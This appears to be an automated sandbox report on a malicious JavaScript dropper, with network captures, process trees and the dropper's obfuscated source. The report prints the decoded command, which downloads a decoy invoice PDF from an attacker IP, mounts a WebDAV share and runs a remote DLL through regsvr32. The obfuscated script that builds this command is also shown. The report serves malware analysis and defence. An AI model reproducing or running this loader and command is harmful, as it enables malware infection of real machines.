Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 08:45:11.950155973 CET	192.168.2.9	1.1.1.1	0x7651	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 08:44:55.159320116 CET	1.1.1.1	192.168.2.9	0x2034	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:44:55.159320116 CET	1.1.1.1	192.168.2.9	0x2034	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:45:11.957247019 CET	1.1.1.1	192.168.2.9	0x7651	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:45:12.678968906 CET	1.1.1.1	192.168.2.9	0xcc81	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 08:45:12.678968906 CET	1.1.1.1	192.168.2.9	0xcc81	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:45:12.678968906 CET	1.1.1.1	192.168.2.9	0xcc81	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:45:12.678968906 CET	1.1.1.1	192.168.2.9	0xcc81	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:45:12.678968906 CET	1.1.1.1	192.168.2.9	0xcc81	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:45:12.678968906 CET	1.1.1.1	192.168.2.9	0xcc81	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:45:12.678968906 CET	1.1.1.1	192.168.2.9	0xcc81	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:45:12.678968906 CET	1.1.1.1	192.168.2.9	0xcc81	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 11, 2025 08:45:12.678968906 CET	1.1.1.1	192.168.2.9	0xcc81	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49747	193.143.1.205	80	7736	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:45:02.180425882 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 08:45:02.961019993 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:45:02 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 08:45:02.961050987 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 08:45:02.961064100 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 08:45:02.961070061 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 08:45:02.961076975 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 08:45:02.961082935 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 08:45:02.961096048 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 11, 2025 08:45:02.961107969 CET	1000	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 11, 2025 08:45:02.961119890 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:
Jan 11, 2025 08:45:02.961133003 CET	1236	IN	Data Raw: c3 91 55 fd 7e f3 23 ab 7a 46 5b 5f 92 e4 3f 73 63 a9 39 af 53 8a e4 e8 60 a6 bc 8e 42 cf 66 86 3d 34 dc 78 5c 18 f2 1d 5d 10 ad ef b4 e6 66 9b db 53 2d 3d 94 e1 50 00 db b7 62 2e c1 8e ca 1e 18 1a c5 d0 bb 61 0c bd bc ec 0f 0c 4d 31 f4 e8 f6 f8 Data Ascii: U~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%
Jan 11, 2025 08:45:02.965953112 CET	220	IN	Data Raw: fd 82 86 a7 e5 ea 37 9b de df 2b 8b ac e5 05 0d f7 f7 ea 77 5a 4d dd d6 37 96 d1 f3 3a 0b 25 54 9f f0 fb bc 55 33 95 69 0e 0f 95 9c ed 4b a8 59 fa 9d 1b 75 0f 8f f1 95 9b ad 3f 50 b5 70 a7 5d 74 38 74 da 7f 78 01 f8 dc ad 1c 4c b0 7b 16 3a 30 d4 Data Ascii: 7+wZM7:%TU3iKYu?Pp]t8txL{:0u`hCo\AGD_\|LCf0~M0X2z,tt9\WPCZsm~245$=td84RT!S!Q]avNQ0}v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49763	193.143.1.205	8888	7964	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 08:45:04.682707071 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 08:45:05.484621048 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:45:05 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	02:44:57
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\944924352317221058.js"
Imagebase:	0x7ff7e4470000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:44:58
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll
Imagebase:	0x7ff788440000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:44:58
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:44:58
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:45:03
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	02:45:03
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff788440000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:45:03
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff696580000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:45:03
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:45:03
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	02:45:04
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2072 --field-trial-handle=1756,i,16808820835601716491,16434300059903285916,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function fcfcxovb() {	fcfcxovb() ➔ undefined
1	kydul = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var kxqsqi = this[omeyzfue + ceujq + gcstlhq + ospxi + jryjf + newkxrs + zhqso + ohrbs] ( this[ixxcxfxc + fsnvnc + ovmiixkau + gcstlhq + qwxqj + omeyzfue + ohrbs][lqkej + gcstlhq + jryjf + ceujq + ohrbs + jryjf + osvqg + vsalupq + urkat + jryjf + ovmiixkau + ohrbs] ( ixxcxfxc + fsnvnc + ovmiixkau + gcstlhq + qwxqj + omeyzfue + ohrbs + ubimp + fsnvnc + wwwsqpx + jryjf + eogpd + eogpd ) [osqdlam + jryjf + mhkywauhy + osqdlam + jryjf + ceujq + vjejdzg] ( czadywr + aaefyu + twanmkxv + juqyefwij + krdsue + lqkej + hiwsson + osqdlam + osqdlam + twanmkxv + norhnj + ikwwevmqr + krdsue + hiwsson + fsnvnc + twanmkxv + osqdlam + gzejizxhu + lqkej + joyhdpq + zhqso + ohrbs + gcstlhq + joyhdpq + eogpd + rutmoktff + delzb + ceujq + zhqso + jryjf + eogpd + gzejizxhu + newkxrs + zhqso + ohrbs + jryjf + gcstlhq + zhqso + ceujq + ohrbs + qwxqj + joyhdpq + zhqso + ceujq + eogpd + gzejizxhu + ojmpte + joyhdpq + ovmiixkau + ceujq + eogpd + jryjf ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( eavlnaxo = 0 ; eavlnaxo < kydul[eogpd + jryjf + zhqso + mhkywauhy + ohrbs + wwwsqpx] ; ++ eavlnaxo )
4	{
5	if ( kxqsqi == kydul[eavlnaxo] )
6	{
7	kxqsqi = true;
8	break ;
9	}
10	}
11	if ( kxqsqi !== true )
12	this[ixxcxfxc + fsnvnc + ovmiixkau + gcstlhq + qwxqj + omeyzfue + ohrbs][wuspua + dkrzlznm + qwxqj + ohrbs] ( );
13	this[ixxcxfxc + fsnvnc + ovmiixkau + gcstlhq + qwxqj + omeyzfue + ohrbs][lqkej + gcstlhq + jryjf + ceujq + ohrbs + jryjf + osvqg + vsalupq + urkat + jryjf + ovmiixkau + ohrbs] ( ixxcxfxc + fsnvnc + ovmiixkau + gcstlhq + qwxqj + omeyzfue + ohrbs + ubimp + fsnvnc + wwwsqpx + jryjf + eogpd + eogpd ) [gcstlhq + dkrzlznm + zhqso] ( ovmiixkau + nvoizencq + vjejdzg + rutmoktff + gfyvjmukr + ovmiixkau + rutmoktff + omeyzfue + joyhdpq + ggwzjaxk + jryjf + gcstlhq + ospxi + wwwsqpx + jryjf + eogpd + eogpd + ubimp + jryjf + lsrle + jryjf + rutmoktff + fpdvb + lqkej + joyhdpq + nvoizencq + nvoizencq + ceujq + zhqso + vjejdzg + rutmoktff + dqrovuh + newkxrs + zhqso + wclfvnfkm + joyhdpq + acwbvane + jryjf + fpdvb + ixxcxfxc + jryjf + vsalupq + osqdlam + jryjf + rlsymuan + dkrzlznm + jryjf + ospxi + ohrbs + rutmoktff + fpdvb + osvqg + dkrzlznm + ohrbs + lcgoymman + qwxqj + eogpd + jryjf + rutmoktff + bmagqm + ohrbs + jryjf + nvoizencq + omeyzfue + bmagqm + gzejizxhu + qwxqj + zhqso + wclfvnfkm + joyhdpq + qwxqj + ovmiixkau + jryjf + ubimp + omeyzfue + vjejdzg + vngbxdxq + rutmoktff + wwwsqpx + ohrbs + ohrbs + omeyzfue + atmjlut + gfyvjmukr + gfyvjmukr + khlbxfad + oifodn + jmvkarv + ubimp + khlbxfad + pnvrkn + jmvkarv + ubimp + khlbxfad + ubimp + evpaicr + esqmow + drqzdavu + gfyvjmukr + qwxqj + zhqso + wclfvnfkm + joyhdpq + qwxqj + ovmiixkau + jryjf + ubimp + omeyzfue + wwwsqpx + omeyzfue + dqrovuh + bayub + bayub + ospxi + ohrbs + ceujq + gcstlhq + ohrbs + rutmoktff + bmagqm + ohrbs + jryjf + nvoizencq + omeyzfue + bmagqm + gzejizxhu + qwxqj + zhqso + wclfvnfkm + joyhdpq + qwxqj + ovmiixkau + jryjf + ubimp + omeyzfue + vjejdzg + vngbxdxq + bayub + bayub + ovmiixkau + nvoizencq + vjejdzg + rutmoktff + gfyvjmukr + ovmiixkau + rutmoktff + zhqso + jryjf + ohrbs + rutmoktff + dkrzlznm + ospxi + jryjf + rutmoktff + gzejizxhu + gzejizxhu + khlbxfad + oifodn + jmvkarv + ubimp + khlbxfad + pnvrkn + jmvkarv + ubimp + khlbxfad + ubimp + evpaicr + esqmow + drqzdavu + dvwrcd + zmpiwojuz + zmpiwojuz + zmpiwojuz + zmpiwojuz + gzejizxhu + vjejdzg + ceujq + wclfvnfkm + ggwzjaxk + ggwzjaxk + ggwzjaxk + gcstlhq + joyhdpq + joyhdpq + ohrbs + gzejizxhu + bayub + bayub + ovmiixkau + nvoizencq + vjejdzg + rutmoktff + gfyvjmukr + ovmiixkau + rutmoktff + gcstlhq + jryjf + mhkywauhy + ospxi + wclfvnfkm + gcstlhq + jmvkarv + evpaicr + rutmoktff + gfyvjmukr + ospxi + rutmoktff + gzejizxhu + gzejizxhu + khlbxfad + oifodn + jmvkarv + ubimp + khlbxfad + pnvrkn + jmvkarv + ubimp + khlbxfad + ubimp + evpaicr + esqmow + drqzdavu + dvwrcd + zmpiwojuz + zmpiwojuz + zmpiwojuz + zmpiwojuz + gzejizxhu + vjejdzg + ceujq + wclfvnfkm + ggwzjaxk + ggwzjaxk + ggwzjaxk + gcstlhq + joyhdpq + joyhdpq + ohrbs + gzejizxhu + khlbxfad + uuhdvi + khlbxfad + cznomqxmb + zmpiwojuz + khlbxfad + uuhdvi + pnvrkn + khlbxfad + esqmow + khlbxfad + jmvkarv + pnvrkn + esqmow + jmvkarv + ubimp + vjejdzg + eogpd + eogpd, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll",0,false) ➔ 0
14	}
15	joyhdpq = "l";
16	joyhdpq = "Y";
17	joyhdpq = "J";
18	joyhdpq = "V";
19	joyhdpq = "J";
20	joyhdpq = "L";
21	joyhdpq = "C";
22	joyhdpq = "K";
23	joyhdpq = "J";
24	joyhdpq = "F";
25	joyhdpq = "x";
26	joyhdpq = "B";
27	joyhdpq = "b";
28	joyhdpq = "w";
29	joyhdpq = "Y";
30	joyhdpq = "Y";
31	joyhdpq = "O";
32	joyhdpq = "W";
33	joyhdpq = "a";
34	joyhdpq = "t";
35	joyhdpq = "r";
36	joyhdpq = "P";
37	joyhdpq = "F";
38	joyhdpq = "o";
39	newkxrs = "v";
40	newkxrs = "k";
41	newkxrs = "o";
42	newkxrs = "H";
43	newkxrs = "w";
44	newkxrs = "V";
45	newkxrs = "W";
46	newkxrs = "D";
47	newkxrs = "P";
48	newkxrs = "b";
49	newkxrs = "A";
50	newkxrs = "f";
51	newkxrs = "h";
52	newkxrs = "P";
53	newkxrs = "C";
54	newkxrs = "H";
55	newkxrs = "v";
56	newkxrs = "E";
57	newkxrs = "V";
58	newkxrs = "M";
59	newkxrs = "c";
60	newkxrs = "W";
61	newkxrs = "D";
62	newkxrs = "l";
63	newkxrs = "P";
64	newkxrs = "I";
65	mhkywauhy = "n";
66	mhkywauhy = "G";
67	mhkywauhy = "e";
68	mhkywauhy = "k";
69	mhkywauhy = "f";
70	mhkywauhy = "R";
71	mhkywauhy = "r";
72	mhkywauhy = "U";
73	mhkywauhy = "a";
74	mhkywauhy = "O";
75	mhkywauhy = "Z";
76	mhkywauhy = "q";
77	mhkywauhy = "V";
78	mhkywauhy = "Y";
79	mhkywauhy = "P";
80	mhkywauhy = "A";
81	mhkywauhy = "A";
82	mhkywauhy = "s";
83	mhkywauhy = "m";
84	mhkywauhy = "s";
85	mhkywauhy = "l";
86	mhkywauhy = "f";
87	mhkywauhy = "K";
88	mhkywauhy = "q";
89	mhkywauhy = "g";
90	mhkywauhy = "i";
91	mhkywauhy = "R";
92	mhkywauhy = "J";
93	mhkywauhy = "r";
94	mhkywauhy = "j";
95	mhkywauhy = "T";
96	mhkywauhy = "H";
97	mhkywauhy = "Z";
98	mhkywauhy = "j";
99	mhkywauhy = "V";
100	mhkywauhy = "g";
101	gzejizxhu = "s";
102	gzejizxhu = "E";
103	gzejizxhu = "t";
104	gzejizxhu = "L";
105	gzejizxhu = "E";
106	gzejizxhu = "E";
107	gzejizxhu = "t";
108	gzejizxhu = "f";
109	gzejizxhu = "N";
110	gzejizxhu = "D";
111	gzejizxhu = "N";
112	gzejizxhu = "j";
113	gzejizxhu = "E";
114	gzejizxhu = "M";
115	gzejizxhu = "h";
116	gzejizxhu = "U";
117	gzejizxhu = "o";
118	gzejizxhu = "c";
119	gzejizxhu = "o";
120	gzejizxhu = "o";
121	gzejizxhu = "R";
122	gzejizxhu = "j";
123	gzejizxhu = "Q";
124	gzejizxhu = "Z";
125	gzejizxhu = "C";
126	gzejizxhu = "y";
127	gzejizxhu = "O";
128	gzejizxhu = "Z";
129	gzejizxhu = "Q";
130	gzejizxhu = "g";
131	gzejizxhu = "O";
132	gzejizxhu = "Z";
133	gzejizxhu = "p";
134	gzejizxhu = "J";
135	gzejizxhu = "z";
136	gzejizxhu = "N";
137	gzejizxhu = "M";
138	gzejizxhu = "\\";
139	fpdvb = "F";
140	fpdvb = "f";
141	fpdvb = "l";
142	fpdvb = "S";
143	fpdvb = "S";
144	fpdvb = "s";
145	fpdvb = "d";
146	fpdvb = "n";
147	fpdvb = "h";
148	fpdvb = "s";
149	fpdvb = "Z";
150	fpdvb = "t";
151	fpdvb = "m";
152	fpdvb = "K";
